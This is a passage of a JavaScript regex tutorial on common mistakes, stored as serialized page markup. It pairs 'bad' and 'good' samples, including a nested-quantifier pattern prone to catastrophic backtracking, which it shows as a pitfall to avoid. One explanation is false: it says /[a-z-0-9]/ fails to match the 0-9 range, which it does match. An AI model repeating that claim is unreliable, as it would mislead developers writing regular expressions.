intended.",[135,292578,292580],{"className":1607,"code":292579,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Greedy quantifier matches too much\nconst html = '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>';\nconst match = html.match(\u002F\u003Cdiv>.*\u003C\\\u002Fdiv>\u002F);\nconsole.log(match[0]);\n\u002F\u002F Result: '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>'\n\u002F\u002F Matched from first \u003Cdiv> to LAST \u003C\u002Fdiv>!\n",[143,292581,292582,292587,292600,292634,292646,292651],{"__ignoreMap":141},[1560,292583,292584],{"class":1562,"line":1563},[1560,292585,292586],{"class":1649},"\u002F\u002F ❌ BAD: Greedy quantifier matches too much\n",[1560,292588,292589,292591,292593,292595,292598],{"class":1562,"line":337},[1560,292590,8180],{"class":1669},[1560,292592,108795],{"class":1576},[1560,292594,8186],{"class":1669},[1560,292596,292597],{"class":5634}," '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>'",[1560,292599,2228],{"class":1570},[1560,292601,292602,292604,292606,292608,292611,292613,292615,292617,292619,292621,292623,292625,292627,292630,292632],{"class":1562,"line":343},[1560,292603,8180],{"class":1669},[1560,292605,96992],{"class":1576},[1560,292607,8186],{"class":1669},[1560,292609,292610],{"class":1570}," html.",[1560,292612,97000],{"class":1566},[1560,292614,1688],{"class":1570},[1560,292616,9423],{"class":5634},[1560,292618,69003],{"class":11919},[1560,292620,468],{"class":1576},[1560,292622,8069],{"class":1669},[1560,292624,6431],{"class":11919},[1560,292626,43130],{"class":11915},[1560,292628,292629],{"class":11919},"div>",[1560,292631,9423],{"class":5634},[1560,292633,1744],{"class":1570},[1560,292635,292636,292638,292640,292642,292644],{"class":1562,"line":365},[1560,292637,8211],{"class":1570},[1560,292639,8214],{"class":1566},[1560,292641,97040],{"class":1570},[1560,292643,5285],{"class":1576},[1560,292645,157528],{"class":1570},[1560,292647,292648],{"class":1562,"line":889},[1560,292649,292650],{"class":1649},"\u002F\u002F Result: '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>'\n",[1560,292652,292653],{"class":1562,"line":1710},[1560,292654,292655],{"class":1649},"\u002F\u002F Matched from first \u003Cdiv> to LAST \u003C\u002Fdiv>!\n",[33,292657,33799],{"id":33798},[16,292659,292660,292661,292663],{},"Use lazy (non-greedy) quantifiers by adding ",[143,292662,33994],{}," after the quantifier.",[135,292665,292667],{"className":1607,"code":292666,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Lazy quantifier matches minimally\nconst html = '\u003Cdiv>Hello\u003C\u002Fdiv>\u003Cdiv>World\u003C\u002Fdiv>';\nconst match = html.match(\u002F\u003Cdiv>.*?\u003C\\\u002Fdiv>\u002F);\nconsole.log(match[0]);\n\u002F\u002F Result: '\u003Cdiv>Hello\u003C\u002Fdiv>'\n\u002F\u002F Matches from first \u003Cdiv> to FIRST \u003C\u002Fdiv>\n",[143,292668,292669,292674,292686,292718,292730,292735],{"__ignoreMap":141},[1560,292670,292671],{"class":1562,"line":1563},[1560,292672,292673],{"class":1649},"\u002F\u002F ✅ GOOD: Lazy quantifier matches minimally\n",[1560,292675,292676,292678,292680,292682,292684],{"class":1562,"line":337},[1560,292677,8180],{"class":1669},[1560,292679,108795],{"class":1576},[1560,292681,8186],{"class":1669},[1560,292683,292597],{"class":5634},[1560,292685,2228],{"class":1570},[1560,292687,292688,292690,292692,292694,292696,292698,292700,292702,292704,292706,292708,292710,292712,292714,292716],{"class":1562,"line":343},[1560,292689,8180],{"class":1669},[1560,292691,96992],{"class":1576},[1560,292693,8186],{"class":1669},[1560,292695,292610],{"class":1570},[1560,292697,97000],{"class":1566},[1560,292699,1688],{"class":1570},[1560,292701,9423],{"class":5634},[1560,292703,69003],{"class":11919},[1560,292705,468],{"class":1576},[1560,292707,182080],{"class":1669},[1560,292709,6431],{"class":11919},[1560,292711,43130],{"class":11915},[1560,292713,292629],{"class":11919},[1560,292715,9423],{"class":5634},[1560,292717,1744],{"class":1570},[1560,292719,292720,292722,292724,292726,292728],{"class":1562,"line":365},[1560,292721,8211],{"class":1570},[1560,292723,8214],{"class":1566},[1560,292725,97040],{"class":1570},[1560,292727,5285],{"class":1576},[1560,292729,157528],{"class":1570},[1560,292731,292732],{"class":1562,"line":889},[1560,292733,292734],{"class":1649},"\u002F\u002F Result: '\u003Cdiv>Hello\u003C\u002Fdiv>'\n",[1560,292736,292737],{"class":1562,"line":1710},[1560,292738,292739],{"class":1649},"\u002F\u002F Matches from first \u003Cdiv> to FIRST \u003C\u002Fdiv>\n",[16,292741,292742,292745],{},[47,292743,292744],{},"Better yet:"," Be more specific with character classes.",[135,292747,292749],{"className":1607,"code":292748,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ BEST: Specific character class (also faster)\nconst match = html.match(\u002F\u003Cdiv>[^\u003C]*\u003C\\\u002Fdiv>\u002F);\n",[143,292750,292751,292756],{"__ignoreMap":141},[1560,292752,292753],{"class":1562,"line":1563},[1560,292754,292755],{"class":1649},"\u002F\u002F ✅ BEST: Specific character class (also faster)\n",[1560,292757,292758,292760,292762,292764,292766,292768,292770,292772,292774,292776,292778,292781,292783,292785,292787,292789,292791],{"class":1562,"line":337},[1560,292759,8180],{"class":1669},[1560,292761,96992],{"class":1576},[1560,292763,8186],{"class":1669},[1560,292765,292610],{"class":1570},[1560,292767,97000],{"class":1566},[1560,292769,1688],{"class":1570},[1560,292771,9423],{"class":5634},[1560,292773,69003],{"class":11919},[1560,292775,24385],{"class":1576},[1560,292777,38799],{"class":1669},[1560,292779,292780],{"class":1576},"\u003C]",[1560,292782,8069],{"class":1669},[1560,292784,6431],{"class":11919},[1560,292786,43130],{"class":11915},[1560,292788,292629],{"class":11919},[1560,292790,9423],{"class":5634},[1560,292792,1744],{"class":1570},[11,292794,292796],{"id":292795},"mistake-2-forgetting-to-escape-metacharacters","Mistake 2: Forgetting to Escape Metacharacters",[33,292798,238776],{"id":292799},"the-problem-1",[16,292801,7415,292802,1459,292804,1459,292806,1459,292808,1459,292810,1459,292812,1459,292814,1459,292816,1459,292818,1459,292820,1459,292822,1459,292824,1459,292826,292828],{},[143,292803,468],{},[143,292805,8069],{},[143,292807,9448],{},[143,292809,33994],{},[143,292811,1688],{},[143,292813,1525],{},[143,292815,24385],{},[143,292817,131065],{},[143,292819,51622],{},[143,292821,8230],{},[143,292823,7334],{},[143,292825,38799],{},[143,292827,11938],{}," have special meaning in regex.",[135,292830,292832],{"className":1607,"code":292831,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Trying to match a file extension\nconst filename = 'document.pdf';\nconst match = filename.match(\u002F.pdf$\u002F);\n\u002F\u002F Result: matches 'apdf', '1pdf', '?pdf', etc.\n\u002F\u002F Because . matches ANY character!\n",[143,292833,292834,292839,292853,292880,292885],{"__ignoreMap":141},[1560,292835,292836],{"class":1562,"line":1563},[1560,292837,292838],{"class":1649},"\u002F\u002F ❌ BAD: Trying to match a file extension\n",[1560,292840,292841,292843,292846,292848,292851],{"class":1562,"line":337},[1560,292842,8180],{"class":1669},[1560,292844,292845],{"class":1576}," filename",[1560,292847,8186],{"class":1669},[1560,292849,292850],{"class":5634}," 'document.pdf'",[1560,292852,2228],{"class":1570},[1560,292854,292855,292857,292859,292861,292864,292866,292868,292870,292872,292874,292876,292878],{"class":1562,"line":343},[1560,292856,8180],{"class":1669},[1560,292858,96992],{"class":1576},[1560,292860,8186],{"class":1669},[1560,292862,292863],{"class":1570}," filename.",[1560,292865,97000],{"class":1566},[1560,292867,1688],{"class":1570},[1560,292869,9423],{"class":5634},[1560,292871,468],{"class":1576},[1560,292873,150431],{"class":11919},[1560,292875,11938],{"class":1669},[1560,292877,9423],{"class":5634},[1560,292879,1744],{"class":1570},[1560,292881,292882],{"class":1562,"line":365},[1560,292883,292884],{"class":1649},"\u002F\u002F Result: matches 'apdf', '1pdf', '?pdf', etc.\n",[1560,292886,292887],{"class":1562,"line":889},[1560,292888,292889],{"class":1649},"\u002F\u002F Because . matches ANY character!\n",[33,292891,33799],{"id":34235},[16,292893,292894,292895,292897],{},"Escape metacharacters with ",[143,292896,34605],{}," when you want to match them literally.",[135,292899,292901],{"className":1607,"code":292900,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Properly escaped\nconst filename = 'document.pdf';\nconst match = filename.match(\u002F\\.pdf$\u002F);\n\u002F\u002F Result: matches only '.pdf' at the end\n\n\u002F\u002F For dynamic patterns, use escape functions\nfunction escapeRegex(string) {\n  return string.replace(\u002F[.*+?^${}()|[\\]\\\\]\u002Fg, '\\\\$&');\n}\nconst ext = '.pdf';\nconst regex = new RegExp(escapeRegex(ext) + '$');\n",[143,292902,292903,292908,292920,292946,292951,292955,292960,292973,293009,293013,293026],{"__ignoreMap":141},[1560,292904,292905],{"class":1562,"line":1563},[1560,292906,292907],{"class":1649},"\u002F\u002F ✅ GOOD: Properly escaped\n",[1560,292909,292910,292912,292914,292916,292918],{"class":1562,"line":337},[1560,292911,8180],{"class":1669},[1560,292913,292845],{"class":1576},[1560,292915,8186],{"class":1669},[1560,292917,292850],{"class":5634},[1560,292919,2228],{"class":1570},[1560,292921,292922,292924,292926,292928,292930,292932,292934,292936,292938,292940,292942,292944],{"class":1562,"line":343},[1560,292923,8180],{"class":1669},[1560,292925,96992],{"class":1576},[1560,292927,8186],{"class":1669},[1560,292929,292863],{"class":1570},[1560,292931,97000],{"class":1566},[1560,292933,1688],{"class":1570},[1560,292935,9423],{"class":5634},[1560,292937,11916],{"class":11915},[1560,292939,150431],{"class":11919},[1560,292941,11938],{"class":1669},[1560,292943,9423],{"class":5634},[1560,292945,1744],{"class":1570},[1560,292947,292948],{"class":1562,"line":365},[1560,292949,292950],{"class":1649},"\u002F\u002F Result: matches only '.pdf' at the end\n",[1560,292952,292953],{"class":1562,"line":889},[1560,292954,1702],{"emptyLinePlaceholder":363},[1560,292956,292957],{"class":1562,"line":1710},[1560,292958,292959],{"class":1649},"\u002F\u002F For dynamic patterns, use escape functions\n",[1560,292961,292962,292964,292967,292969,292971],{"class":1562,"line":1717},[1560,292963,8648],{"class":1669},[1560,292965,292966],{"class":1566}," escapeRegex",[1560,292968,1688],{"class":1570},[1560,292970,281055],{"class":2219},[1560,292972,9345],{"class":1570},[1560,292974,292975,292977,292980,292982,292984,292986,292989,292992,292994,292996,292998,293000,293002,293004,293007],{"class":1562,"line":1747},[1560,292976,9350],{"class":1669},[1560,292978,292979],{"class":1570}," string.",[1560,292981,22721],{"class":1566},[1560,292983,1688],{"class":1570},[1560,292985,9423],{"class":5634},[1560,292987,292988],{"class":1576},"[.*+?^${}()|[",[1560,292990,292991],{"class":11915},"\\]\\\\",[1560,292993,131065],{"class":1576},[1560,292995,9423],{"class":5634},[1560,292997,22733],{"class":1669},[1560,292999,1459],{"class":1570},[1560,293001,9361],{"class":5634},[1560,293003,9216],{"class":1576},[1560,293005,293006],{"class":5634},"$&'",[1560,293008,1744],{"class":1570},[1560,293010,293011],{"class":1562,"line":2507},[1560,293012,1585],{"class":1570},[1560,293014,293015,293017,293019,293021,293024],{"class":1562,"line":2524},[1560,293016,8180],{"class":1669},[1560,293018,130967],{"class":1576},[1560,293020,8186],{"class":1669},[1560,293022,293023],{"class":5634}," '.pdf'",[1560,293025,2228],{"class":1570},[1560,293027,293028,293030,293033,293035,293037,293040,293042,293045,293048,293050,293053],{"class":1562,"line":2529},[1560,293029,8180],{"class":1669},[1560,293031,293032],{"class":1576}," regex",[1560,293034,8186],{"class":1669},[1560,293036,11489],{"class":1669},[1560,293038,293039],{"class":1566}," RegExp",[1560,293041,1688],{"class":1570},[1560,293043,293044],{"class":1566},"escapeRegex",[1560,293046,293047],{"class":1570},"(ext) ",[1560,293049,9448],{"class":1669},[1560,293051,293052],{"class":5634}," '$'",[1560,293054,1744],{"class":1570},[11,293056,293058],{"id":293057},"mistake-3-catastrophic-backtracking-redos","Mistake 3: Catastrophic Backtracking (ReDoS)",[33,293060,238776],{"id":293061},"the-problem-2",[16,293063,293064],{},"Nested quantifiers can cause exponential backtracking on non-matching input.",[135,293066,293068],{"className":1607,"code":293067,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Catastrophic backtracking\nconst regex = \u002F^(a+)+$\u002F;\nconst test = 'aaaaaaaaaaaaaaaaaaaaX';\n\n\u002F\u002F This will take forever!\nregex.test(test);\n\u002F\u002F Each extra 'a' doubles the steps: 2^n complexity\n",[143,293069,293070,293075,293100,293113,293117,293122,293132],{"__ignoreMap":141},[1560,293071,293072],{"class":1562,"line":1563},[1560,293073,293074],{"class":1649},"\u002F\u002F ❌ BAD: Catastrophic backtracking\n",[1560,293076,293077,293079,293081,293083,293085,293087,293090,293092,293094,293096,293098],{"class":1562,"line":337},[1560,293078,8180],{"class":1669},[1560,293080,293032],{"class":1576},[1560,293082,8186],{"class":1669},[1560,293084,11912],{"class":5634},[1560,293086,38799],{"class":1669},[1560,293088,293089],{"class":11919},"(a",[1560,293091,9448],{"class":1669},[1560,293093,1525],{"class":11919},[1560,293095,43156],{"class":1669},[1560,293097,9423],{"class":5634},[1560,293099,2228],{"class":1570},[1560,293101,293102,293104,293106,293108,293111],{"class":1562,"line":343},[1560,293103,8180],{"class":1669},[1560,293105,259128],{"class":1576},[1560,293107,8186],{"class":1669},[1560,293109,293110],{"class":5634}," 'aaaaaaaaaaaaaaaaaaaaX'",[1560,293112,2228],{"class":1570},[1560,293114,293115],{"class":1562,"line":365},[1560,293116,1702],{"emptyLinePlaceholder":363},[1560,293118,293119],{"class":1562,"line":889},[1560,293120,293121],{"class":1649},"\u002F\u002F This will take forever!\n",[1560,293123,293124,293127,293129],{"class":1562,"line":1710},[1560,293125,293126],{"class":1570},"regex.",[1560,293128,98998],{"class":1566},[1560,293130,293131],{"class":1570},"(test);\n",[1560,293133,293134],{"class":1562,"line":1717},[1560,293135,293136],{"class":1649},"\u002F\u002F Each extra 'a' doubles the steps: 2^n complexity\n",[33,293138,33799],{"id":293139},"the-fix-2",[16,293141,293142],{},"Avoid nested quantifiers. Use a single quantifier or be more specific.",[135,293144,293146],{"className":1607,"code":293145,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Single quantifier\nconst regex = \u002F^a+$\u002F;\n\n\u002F\u002F ✅ ALTERNATIVE: If you need to capture groups\nconst regex = \u002F^(a+)$\u002F;  \u002F\u002F No outer +\n\n\u002F\u002F ✅ BEST: Validate length separately if needed\nconst str = 'aaaaaaaaaa';\nif (str.length > 0 && \u002F^a+$\u002F.test(str)) {\n  \u002F\u002F Valid\n}\n",[143,293147,293148,293153,293173,293177,293182,293209,293213,293218,293232,293264,293269],{"__ignoreMap":141},[1560,293149,293150],{"class":1562,"line":1563},[1560,293151,293152],{"class":1649},"\u002F\u002F ✅ GOOD: Single quantifier\n",[1560,293154,293155,293157,293159,293161,293163,293165,293167,293169,293171],{"class":1562,"line":337},[1560,293156,8180],{"class":1669},[1560,293158,293032],{"class":1576},[1560,293160,8186],{"class":1669},[1560,293162,11912],{"class":5634},[1560,293164,38799],{"class":1669},[1560,293166,98],{"class":11919},[1560,293168,43156],{"class":1669},[1560,293170,9423],{"class":5634},[1560,293172,2228],{"class":1570},[1560,293174,293175],{"class":1562,"line":343},[1560,293176,1702],{"emptyLinePlaceholder":363},[1560,293178,293179],{"class":1562,"line":365},[1560,293180,293181],{"class":1649},"\u002F\u002F ✅ ALTERNATIVE: If you need to capture groups\n",[1560,293183,293184,293186,293188,293190,293192,293194,293196,293198,293200,293202,293204,293206],{"class":1562,"line":889},[1560,293185,8180],{"class":1669},[1560,293187,293032],{"class":1576},[1560,293189,8186],{"class":1669},[1560,293191,11912],{"class":5634},[1560,293193,38799],{"class":1669},[1560,293195,293089],{"class":11919},[1560,293197,9448],{"class":1669},[1560,293199,1525],{"class":11919},[1560,293201,11938],{"class":1669},[1560,293203,9423],{"class":5634},[1560,293205,3409],{"class":1570},[1560,293207,293208],{"class":1649},"\u002F\u002F No outer +\n",[1560,293210,293211],{"class":1562,"line":1710},[1560,293212,1702],{"emptyLinePlaceholder":363},[1560,293214,293215],{"class":1562,"line":1717},[1560,293216,293217],{"class":1649},"\u002F\u002F ✅ BEST: Validate length separately if needed\n",[1560,293219,293220,293222,293225,293227,293230],{"class":1562,"line":1747},[1560,293221,8180],{"class":1669},[1560,293223,293224],{"class":1576}," str",[1560,293226,8186],{"class":1669},[1560,293228,293229],{"class":5634}," 'aaaaaaaaaa'",[1560,293231,2228],{"class":1570},[1560,293233,293234,293236,293239,293241,293243,293245,293247,293249,293251,293253,293255,293257,293259,293261],{"class":1562,"line":2507},[1560,293235,8052],{"class":1669},[1560,293237,293238],{"class":1570}," (str.",[1560,293240,9418],{"class":1576},[1560,293242,32916],{"class":1669},[1560,293244,13541],{"class":1576},[1560,293246,39056],{"class":1669},[1560,293248,11912],{"class":5634},[1560,293250,38799],{"class":1669},[1560,293252,98],{"class":11919},[1560,293254,43156],{"class":1669},[1560,293256,9423],{"class":5634},[1560,293258,468],{"class":1570},[1560,293260,98998],{"class":1566},[1560,293262,293263],{"class":1570},"(str)) {\n",[1560,293265,293266],{"class":1562,"line":2524},[1560,293267,293268],{"class":1649},"  \u002F\u002F Valid\n",[1560,293270,293271],{"class":1562,"line":2529},[1560,293272,1585],{"class":1570},[11,293274,293276],{"id":293275},"mistake-4-incorrect-character-class-ranges","Mistake 4: Incorrect Character Class Ranges",[33,293278,238776],{"id":293279},"the-problem-3",[16,293281,293282],{},"The position of hyphens and carets in character classes matters.",[135,293284,293286],{"className":1607,"code":293285,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Hyphen in the wrong place creates a range\nconst regex = \u002F[a-z-0-9]\u002F;  \u002F\u002F Matches a-z, hyphen, 0-9 ? NO!\n\u002F\u002F Actually matches: a-z, -, 0, 9 (not 0-9 range!)\n\n\u002F\u002F ❌ BAD: Caret not at the start negates nothing\nconst regex = \u002F[az^]\u002F;  \u002F\u002F Matches 'a', 'z', or '^' (not negated!)\n",[143,293287,293288,293293,293313,293318,293322,293327],{"__ignoreMap":141},[1560,293289,293290],{"class":1562,"line":1563},[1560,293291,293292],{"class":1649},"\u002F\u002F ❌ BAD: Hyphen in the wrong place creates a range\n",[1560,293294,293295,293297,293299,293301,293303,293306,293308,293310],{"class":1562,"line":337},[1560,293296,8180],{"class":1669},[1560,293298,293032],{"class":1576},[1560,293300,8186],{"class":1669},[1560,293302,11912],{"class":5634},[1560,293304,293305],{"class":1576},"[a-z-0-9]",[1560,293307,9423],{"class":5634},[1560,293309,3409],{"class":1570},[1560,293311,293312],{"class":1649},"\u002F\u002F Matches a-z, hyphen, 0-9 ? NO!\n",[1560,293314,293315],{"class":1562,"line":343},[1560,293316,293317],{"class":1649},"\u002F\u002F Actually matches: a-z, -, 0, 9 (not 0-9 range!)\n",[1560,293319,293320],{"class":1562,"line":365},[1560,293321,1702],{"emptyLinePlaceholder":363},[1560,293323,293324],{"class":1562,"line":889},[1560,293325,293326],{"class":1649},"\u002F\u002F ❌ BAD: Caret not at the start negates nothing\n",[1560,293328,293329,293331,293333,293335,293337,293340,293342,293344],{"class":1562,"line":1710},[1560,293330,8180],{"class":1669},[1560,293332,293032],{"class":1576},[1560,293334,8186],{"class":1669},[1560,293336,11912],{"class":5634},[1560,293338,293339],{"class":1576},"[az^]",[1560,293341,9423],{"class":5634},[1560,293343,3409],{"class":1570},[1560,293345,293346],{"class":1649},"\u002F\u002F Matches 'a', 'z', or '^' (not negated!)\n",[33,293348,33799],{"id":293349},"the-fix-3",[16,293351,293352],{},"Put hyphens at the start or end, and carets at the start.",[135,293354,293356],{"className":1607,"code":293355,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Hyphen at the end\nconst regex = \u002F[a-z0-9-]\u002F;  \u002F\u002F Matches a-z, 0-9, or hyphen\n\n\u002F\u002F ✅ GOOD: Negated character class (caret at start)\nconst regex = \u002F[^a-z]\u002F;  \u002F\u002F Matches anything NOT a-z\n\n\u002F\u002F ✅ GOOD: Literal caret (not at start)\nconst regex = \u002F[a^z]\u002F;  \u002F\u002F Matches 'a', '^', or 'z'\n",[143,293357,293358,293363,293383,293387,293392,293416,293420,293425],{"__ignoreMap":141},[1560,293359,293360],{"class":1562,"line":1563},[1560,293361,293362],{"class":1649},"\u002F\u002F ✅ GOOD: Hyphen at the end\n",[1560,293364,293365,293367,293369,293371,293373,293376,293378,293380],{"class":1562,"line":337},[1560,293366,8180],{"class":1669},[1560,293368,293032],{"class":1576},[1560,293370,8186],{"class":1669},[1560,293372,11912],{"class":5634},[1560,293374,293375],{"class":1576},"[a-z0-9-]",[1560,293377,9423],{"class":5634},[1560,293379,3409],{"class":1570},[1560,293381,293382],{"class":1649},"\u002F\u002F Matches a-z, 0-9, or hyphen\n",[1560,293384,293385],{"class":1562,"line":343},[1560,293386,1702],{"emptyLinePlaceholder":363},[1560,293388,293389],{"class":1562,"line":365},[1560,293390,293391],{"class":1649},"\u002F\u002F ✅ GOOD: Negated character class (caret at start)\n",[1560,293393,293394,293396,293398,293400,293402,293404,293406,293409,293411,293413],{"class":1562,"line":889},[1560,293395,8180],{"class":1669},[1560,293397,293032],{"class":1576},[1560,293399,8186],{"class":1669},[1560,293401,11912],{"class":5634},[1560,293403,24385],{"class":1576},[1560,293405,38799],{"class":1669},[1560,293407,293408],{"class":1576},"a-z]",[1560,293410,9423],{"class":5634},[1560,293412,3409],{"class":1570},[1560,293414,293415],{"class":1649},"\u002F\u002F Matches anything NOT a-z\n",[1560,293417,293418],{"class":1562,"line":1710},[1560,293419,1702],{"emptyLinePlaceholder":363},[1560,293421,293422],{"class":1562,"line":1717},[1560,293423,293424],{"class":1649},"\u002F\u002F ✅ GOOD: Literal caret (not at start)\n",[1560,293426,293427,293429,293431,293433,293435,293438,293440,293442],{"class":1562,"line":1747},[1560,293428,8180],{"class":1669},[1560,293430,293032],{"class":1576},[1560,293432,8186],{"class":1669},[1560,293434,11912],{"class":5634},[1560,293436,293437],{"class":1576},"[a^z]",[1560,293439,9423],{"class":5634},[1560,293441,3409],{"class":1570},[1560,293443,293444],{"class":1649},"\u002F\u002F Matches 'a', '^', or 'z'\n",[11,293446,293448,293449,293451],{"id":293447},"mistake-5-using-to-match-everything","Mistake 5: Using ",[143,293450,468],{}," to Match Everything",[33,293453,238776],{"id":293454},"the-problem-4",[16,293456,293457,293458,293460],{},"The dot ",[143,293459,468],{}," doesn't match everything — by default it doesn't match newline characters.",[135,293462,293464],{"className":1607,"code":293463,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: . doesn't match newlines\nconst text = 'Line 1\\nLine 2\\nLine 3';\nconst match = text.match(\u002F.*\u002F);\nconsole.log(match[0]);\n\u002F\u002F Result: 'Line 1' (stops at newline!)\n",[143,293465,293466,293471,293494,293518,293530],{"__ignoreMap":141},[1560,293467,293468],{"class":1562,"line":1563},[1560,293469,293470],{"class":1649},"\u002F\u002F ❌ BAD: . doesn't match newlines\n",[1560,293472,293473,293475,293477,293479,293482,293484,293487,293489,293492],{"class":1562,"line":337},[1560,293474,8180],{"class":1669},[1560,293476,87414],{"class":1576},[1560,293478,8186],{"class":1669},[1560,293480,293481],{"class":5634}," 'Line 1",[1560,293483,8222],{"class":1576},[1560,293485,293486],{"class":5634},"Line 2",[1560,293488,8222],{"class":1576},[1560,293490,293491],{"class":5634},"Line 3'",[1560,293493,2228],{"class":1570},[1560,293495,293496,293498,293500,293502,293504,293506,293508,293510,293512,293514,293516],{"class":1562,"line":343},[1560,293497,8180],{"class":1669},[1560,293499,96992],{"class":1576},[1560,293501,8186],{"class":1669},[1560,293503,22718],{"class":1570},[1560,293505,97000],{"class":1566},[1560,293507,1688],{"class":1570},[1560,293509,9423],{"class":5634},[1560,293511,468],{"class":1576},[1560,293513,8069],{"class":1669},[1560,293515,9423],{"class":5634},[1560,293517,1744],{"class":1570},[1560,293519,293520,293522,293524,293526,293528],{"class":1562,"line":365},[1560,293521,8211],{"class":1570},[1560,293523,8214],{"class":1566},[1560,293525,97040],{"class":1570},[1560,293527,5285],{"class":1576},[1560,293529,157528],{"class":1570},[1560,293531,293532],{"class":1562,"line":889},[1560,293533,293534],{"class":1649},"\u002F\u002F Result: 'Line 1' (stops at newline!)\n",[33,293536,33799],{"id":293537},"the-fix-4",[16,293539,1388,293540,293542,293543,293545],{},[143,293541,267860],{}," or enable the ",[143,293544,18727],{}," (dotAll) flag if available.",[135,293547,293549],{"className":1607,"code":293548,"language":1609,"meta":141,"style":141},"\u002F\u002F ✅ GOOD: Match any character including newlines\nconst text = 'Line 1\\nLine 2\\nLine 3';\nconst match = text.match(\u002F[\\s\\S]*\u002F);\nconsole.log(match[0]);\n\u002F\u002F Result: 'Line 1\\nLine 2\\nLine 3'\n\n\u002F\u002F ✅ ALTERNATIVE: Use dotAll flag (ES2018+)\nconst match = text.match(\u002F.*\u002Fs);\n\u002F\u002F The 's' flag makes . match newlines\n",[143,293550,293551,293556,293576,293600,293612,293617,293621,293626,293652],{"__ignoreMap":141},[1560,293552,293553],{"class":1562,"line":1563},[1560,293554,293555],{"class":1649},"\u002F\u002F ✅ GOOD: Match any character including newlines\n",[1560,293557,293558,293560,293562,293564,293566,293568,293570,293572,293574],{"class":1562,"line":337},[1560,293559,8180],{"class":1669},[1560,293561,87414],{"class":1576},[1560,293563,8186],{"class":1669},[1560,293565,293481],{"class":5634},[1560,293567,8222],{"class":1576},[1560,293569,293486],{"class":5634},[1560,293571,8222],{"class":1576},[1560,293573,293491],{"class":5634},[1560,293575,2228],{"class":1570},[1560,293577,293578,293580,293582,293584,293586,293588,293590,293592,293594,293596,293598],{"class":1562,"line":343},[1560,293579,8180],{"class":1669},[1560,293581,96992],{"class":1576},[1560,293583,8186],{"class":1669},[1560,293585,22718],{"class":1570},[1560,293587,97000],{"class":1566},[1560,293589,1688],{"class":1570},[1560,293591,9423],{"class":5634},[1560,293593,267860],{"class":1576},[1560,293595,8069],{"class":1669},[1560,293597,9423],{"class":5634},[1560,293599,1744],{"class":1570},[1560,293601,293602,293604,293606,293608,293610],{"class":1562,"line":365},[1560,293603,8211],{"class":1570},[1560,293605,8214],{"class":1566},[1560,293607,97040],{"class":1570},[1560,293609,5285],{"class":1576},[1560,293611,157528],{"class":1570},[1560,293613,293614],{"class":1562,"line":889},[1560,293615,293616],{"class":1649},"\u002F\u002F Result: 'Line 1\\nLine 2\\nLine 3'\n",[1560,293618,293619],{"class":1562,"line":1710},[1560,293620,1702],{"emptyLinePlaceholder":363},[1560,293622,293623],{"class":1562,"line":1717},[1560,293624,293625],{"class":1649},"\u002F\u002F ✅ ALTERNATIVE: Use dotAll flag (ES2018+)\n",[1560,293627,293628,293630,293632,293634,293636,293638,293640,293642,293644,293646,293648,293650],{"class":1562,"line":1747},[1560,293629,8180],{"class":1669},[1560,293631,96992],{"class":1576},[1560,293633,8186],{"class":1669},[1560,293635,22718],{"class":1570},[1560,293637,97000],{"class":1566},[1560,293639,1688],{"class":1570},[1560,293641,9423],{"class":5634},[1560,293643,468],{"class":1576},[1560,293645,8069],{"class":1669},[1560,293647,9423],{"class":5634},[1560,293649,18727],{"class":1669},[1560,293651,1744],{"class":1570},[1560,293653,293654],{"class":1562,"line":2507},[1560,293655,293656],{"class":1649},"\u002F\u002F The 's' flag makes . match newlines\n",[11,293658,293660],{"id":293659},"mistake-6-forgetting-word-boundaries","Mistake 6: Forgetting Word Boundaries",[33,293662,238776],{"id":293663},"the-problem-5",[16,293665,293666],{},"Matching a word without boundaries can match parts of other words.",[135,293668,293670],{"className":1607,"code":293669,"language":1609,"meta":141,"style":141},"\u002F\u002F ❌ BAD: Matches inside other words\nconst text = 'The cat scattered the cations.';\nconst matches = text.match(\u002Fcat\u002Fg);\nconsole.log(matches);\n\u002F\u002F Result: ['cat', 'cat', 'cat']\n\u002F\u002F Matched 'cat' in 'cat', 'scat'tered, and 'cation'!\n",[143,293671,293672,293677,293690,293715,293724,293729],{"__ignoreMap":141},[1560,293673,293674],{"class":1562,"line":1563},[1560,293675,293676],{"class":1649},"\u002F\u002F ❌ BAD: Matches inside other words\n",[1560,293678,293679,293681,293683,293685,293688],{"class":1562,"line":337},[1560,293680,8180],{"class":1669},[1560,293682,87414],{"class":1576},[1560,293684,8186],{"class":1669},[1560,293686,293687],{"class":5634}," 'The cat scattered the cations.'",[1560,293689,2228],{"class":1570},[1560,293691,293692,293694,293697,293699,293701,293703,293705,293707,293709,293711,293713],{"class":1562,"line":343},[1560,293693,8180],{"class":1669},[1560,293695,293696],{"class":1576}," matches",[1560,293698,8186],{"class":1669},[1560,293700,22718],{"class":1570},[1560,293702,97000],{"class":1566},[1560,293704,1688],{"class":1570},[1560,293706,9423],{"class":5634},[1560,293708,8997],{"class":11919},[1560,293710,9423],{"class":5634},[1560,293712,22733],{"class":1669},[1560,293714,1744],{"class":1570},[1560,293716,293717,293719,293721],{"class":1562,"line":365},[1560,293718,8211],{"class":1570},[1560,293720,8214],{"class":1566},[1560,293722,293723],{"class":1570},"(matches);\n",[1560,293725,293726],{"class":1562,"line":889},[1560,293727,293728],{"class":1649},"\u002F\u002F Result: ['cat', 'cat', 'cat']\n",[1560,293730,293731],{"class":1562,"line":1710},[1560,293732,293733],{"class":1649},"\u002F\u002F Matched 'cat' in 'cat', 'scat'tered, and 'cation'!\n",[33,293735,33799],{"id":293736},"the-fix-5",[16,293738,1388,293739,293741],{},[143,293740,267781],{}," (word boundary) to match whole 